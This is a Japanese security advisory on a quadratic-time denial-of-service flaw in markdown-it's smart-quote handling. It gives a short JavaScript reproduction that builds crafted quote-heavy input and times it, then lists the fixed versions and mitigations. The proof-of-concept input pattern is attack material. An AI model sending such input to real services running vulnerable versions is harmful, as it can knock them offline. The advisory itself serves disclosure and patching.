markdown-it: スマートクォート機能における、一致しない閉じクォートとの組み合わせによる二乗の複雑性
### 影響
`typographer: true` が有効になっている場合、巧妙に作成されたMarkdownによって、スマートクォートの処理時間が二乗に増加し、信頼できない入力を処理するアプリケーションでサービス拒否につながる可能性があります。
多くの開きクォートの後に、一致しない閉じシングルクォートが続く場合、オープナースタック全体を繰り返しスキャンすることになります。同様の問題は、クォートの種類が逆の場合にも発生します。
デフォルトの設定 (`typographer: false`) には影響はありませんが、このオプションは高い確率で有効になっています。
### 再現方法
```js
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const md = new MarkdownIt({ typographer: true })
for (const k of [2000, 4000, 8000, 16000, 32000]) {
const input = '"a '.repeat(k) + "b' ".repeat(k)
const start = performance.now()
md.render(input)
console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}
```
結果:
|入力サイズ|時間|
|-|-|
|12000|18ms|
|24000|47ms|
|48000|115ms|
|96000|428ms|
|192000|1586ms|
### 修正
**15.0.2** および **14.3.2** で修正されました。
### 対策
タイポグラフィー機能を `typographer: false` で無効にするか、スマートクォートのルールのみを無効にします。
```js
md.disable('smartquotes')
```
影響を受けるパッケージ:
- npm (JavaScript) markdown-it: 影響範囲は 15.0.0 以上、15.0.2 未満。15.0.2 で修正済み。
- npm (JavaScript) markdown-it: 影響範囲は 14.3.2 未満。14.3.2 で修正済み。